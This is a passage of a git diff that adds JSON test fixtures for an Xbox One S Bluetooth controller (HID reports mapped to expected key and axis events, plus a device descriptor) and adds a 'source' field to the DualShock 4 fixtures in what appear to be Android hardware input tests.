+ {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+ {"action": "UP", "keycode": "BUTTON_SELECT"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_START",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x08, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_START"},
+ {"action": "UP", "keycode": "BUTTON_START"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_NEXUS",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x10, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_MODE"},
+ {"action": "UP", "keycode": "BUTTON_MODE"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_NEXUS (Old behavior)",
+ "reports": [
+ [0x02, 0x01],
+ [0x02, 0x00]
+ ],
+ "source": "KEYBOARD | GAMEPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_MODE"},
+ {"action": "UP", "keycode": "BUTTON_MODE"}
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_xboxones_motioneventtests.json
new file mode 100755
index 0000000..82ddc66
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_motioneventtests.json
@@ -0,0 +1,252 @@
+[
+ {
+ "name": "Sanity check - should not produce any events",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ ]
+ },
+
+ {
+ "name": "Press left DPAD key",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Press right DPAD key",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Press up DPAD key",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Press down DPAD key",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+ {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press left",
+ "reports": [
+ [0x01, 0xff, 0x3f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_X": -1}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press right",
+ "reports": [
+ [0x01, 0xff, 0xbf, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_X": 1}},
+ {"action": "MOVE", "axes": {"AXIS_X": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press up",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x3f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Left stick - press down",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0xbf, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+ {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press left",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x3f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press right",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xbf, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+ {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press up",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+ ]
+ },
+
+ {
+ "name": "Right stick - press down",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+ {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+ ]
+ },
+
+ {
+ "name": "Left trigger - quick press",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+ {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+ ]
+ },
+
+ {
+ "name": "Right trigger - quick press",
+ "reports": [
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x01, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x03, 0x00, 0x00,
+ 0x00, 0x00],
+ [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
+ ],
+ "source": "JOYSTICK",
+ "events": [
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+ {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_register.json b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
new file mode 100755
index 0000000..c1757e8
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
@@ -0,0 +1,28 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Xbox One S (Bluetooth Test)",
+ "vid": 0x045e,
+ "pid": 0x02fd,
+ "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
+ 0x09, 0x31, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0,
+ 0x09, 0x01, 0xa1, 0x00, 0x09, 0x32, 0x09, 0x35, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95,
+ 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0x05, 0x02, 0x09, 0xc5, 0x15, 0x00, 0x26, 0xff, 0x03, 0x95,
+ 0x01, 0x75, 0x0a, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x06, 0x95, 0x01, 0x81, 0x03, 0x05,
+ 0x02, 0x09, 0xc4, 0x15, 0x00, 0x26, 0xff, 0x03, 0x95, 0x01, 0x75, 0x0a, 0x81, 0x02, 0x15, 0x00,
+ 0x25, 0x00, 0x75, 0x06, 0x95, 0x01, 0x81, 0x03, 0x05, 0x01, 0x09, 0x39, 0x15, 0x01, 0x25, 0x08,
+ 0x35, 0x00, 0x46, 0x3b, 0x01, 0x66, 0x14, 0x00, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x75, 0x04,
+ 0x95, 0x01, 0x15, 0x00, 0x25, 0x00, 0x35, 0x00, 0x45, 0x00, 0x65, 0x00, 0x81, 0x03, 0x05, 0x09,
+ 0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0f, 0x81, 0x02, 0x15, 0x00,
+ 0x25, 0x00, 0x75, 0x01, 0x95, 0x01, 0x81, 0x03, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x15, 0x00, 0x25,
+ 0x01, 0x95, 0x01, 0x75, 0x01, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x07, 0x95, 0x01, 0x81,
+ 0x03, 0x05, 0x0c, 0x09, 0x01, 0x85, 0x02, 0xa1, 0x01, 0x05, 0x0c, 0x0a, 0x23, 0x02, 0x15, 0x00,
+ 0x25, 0x01, 0x95, 0x01, 0x75, 0x01, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x07, 0x95, 0x01,
+ 0x81, 0x03, 0xc0, 0x05, 0x0f, 0x09, 0x21, 0x85, 0x03, 0xa1, 0x02, 0x09, 0x97, 0x15, 0x00, 0x25,
+ 0x01, 0x75, 0x04, 0x95, 0x01, 0x91, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x04, 0x95, 0x01, 0x91,
+ 0x03, 0x09, 0x70, 0x15, 0x00, 0x25, 0x64, 0x75, 0x08, 0x95, 0x04, 0x91, 0x02, 0x09, 0x50, 0x66,
+ 0x01, 0x10, 0x55, 0x0e, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0x09,
+ 0xa7, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0x65, 0x00, 0x55, 0x00,
+ 0x09, 0x7c, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0xc0, 0x05, 0x06,
+ 0x09, 0x20, 0x85, 0x04, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81, 0x02, 0xc0]
+ }
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
index 4271249..cc97f57 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -15,6 +15,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_A"},
{"action": "UP", "keycode": "BUTTON_A"}
@@ -37,6 +38,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_B"},
{"action": "UP", "keycode": "BUTTON_B"}
@@ -59,6 +61,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_X"},
{"action": "UP", "keycode": "BUTTON_X"}
@@ -81,6 +84,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_Y"},
{"action": "UP", "keycode": "BUTTON_Y"}
@@ -103,6 +107,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_L1"},
{"action": "UP", "keycode": "BUTTON_L1"}
@@ -125,6 +130,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_R1"},
{"action": "UP", "keycode": "BUTTON_R1"}
@@ -147,6 +153,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_L2"},
{"action": "UP", "keycode": "BUTTON_L2"}
@@ -169,6 +176,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_R2"},
{"action": "UP", "keycode": "BUTTON_R2"}
@@ -191,6 +199,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_THUMBL"},
{"action": "UP", "keycode": "BUTTON_THUMBL"}
@@ -213,6 +222,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_THUMBR"},
{"action": "UP", "keycode": "BUTTON_THUMBR"}
@@ -235,6 +245,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_SELECT"},
{"action": "UP", "keycode": "BUTTON_SELECT"}
@@ -257,6 +268,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_START"},
{"action": "UP", "keycode": "BUTTON_START"}
@@ -279,6 +291,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
0x23, 0xe0, 0x5d]
],
+ "source": "KEYBOARD | GAMEPAD",
"events": [
{"action": "DOWN", "keycode": "BUTTON_MODE"},
{"action": "UP", "keycode": "BUTTON_MODE"}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
index dcb61ee..55e9e5b 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
@@ -9,6 +9,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
]
},
@@ -29,6 +30,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
{"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -51,6 +53,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
{"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -73,6 +76,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
{"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -95,6 +99,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
{"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -123,6 +128,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_X": -0.5}},
{"action": "MOVE", "axes": {"AXIS_X": -1}},
@@ -152,6 +158,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_X": 0.51}},
{"action": "MOVE", "axes": {"AXIS_X": 1}},
@@ -181,6 +188,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
{"action": "MOVE", "axes": {"AXIS_Y": -1}},
@@ -210,6 +218,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
{"action": "MOVE", "axes": {"AXIS_Y": 1}},
@@ -239,6 +248,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
{"action": "MOVE", "axes": {"AXIS_Z": -1}},
@@ -268,6 +278,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
{"action": "MOVE", "axes": {"AXIS_Z": 1}},
@@ -297,6 +308,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
{"action": "MOVE", "axes": {"AXIS_RZ": -1}},
@@ -326,6 +338,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
{"action": "MOVE", "axes": {"AXIS_RZ": 1}},
@@ -355,6 +368,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
{"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
@@ -384,6 +398,7 @@
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
0x2e, 0x80, 0xf2]
],
+ "source": "JOYSTICK",
"events": [
{"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
{"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
diff --git a/tests/tests/hardware/src/android/hardware/input/OWNERS b/tests/tests/hardware/src/android/hardware/input/OWNERS
new file mode 100644
index 0000000..0313a40
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/OWNERS
@@ -0,0 +1,2 @@
+michaelwr@google.com
+svv@google.com
